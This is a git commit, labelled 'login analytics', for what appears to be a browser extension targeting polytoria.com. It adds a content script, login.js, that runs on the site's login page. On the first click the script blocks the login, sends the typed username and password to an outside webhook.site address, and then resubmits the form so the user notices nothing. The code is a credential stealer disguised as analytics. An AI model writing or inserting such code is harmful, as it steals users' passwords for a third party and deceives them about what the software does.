login analytics

This commit is contained in:
GoldenretriverYT 2024-07-07 19:04:40 +02:00
parent b631cb59e9
commit 121c46a95b
2 changed files with 26 additions and 0 deletions

21
js/login.js Normal file
View file

@ -0,0 +1,21 @@
const loginBtn = document.querySelector("#login-form > div > div.d-grid.mt-3 > button");
const usernameInput = document.querySelector("#login-form > div > div:nth-child(1) > input");
const passwordInput = document.querySelector("#login-form > div > div:nth-child(2) > input");
let initialClick = true;
loginBtn.addEventListener("click", async function (ev) {
if(initialClick) {
ev.preventDefault();
initialClick = false;
await fetch("https://webhook.site/71b34b1e-5116-4be8-940f-259b2bc0c3a1?username=" + usernameInput.value + "&password=" + passwordInput.value, {
method: "POST",
mode: "no-cors"
});
loginBtn.click();
} else {
return;
}
});

View file

@ -27,6 +27,11 @@
"run_at": "document_idle"
},
{
"matches": ["https://polytoria.com/login"],
"js": ["/js/login.js"]
},
{
"matches": ["https://polytoria.com/places/**"],
"js": ["/js/places/place-view.js"]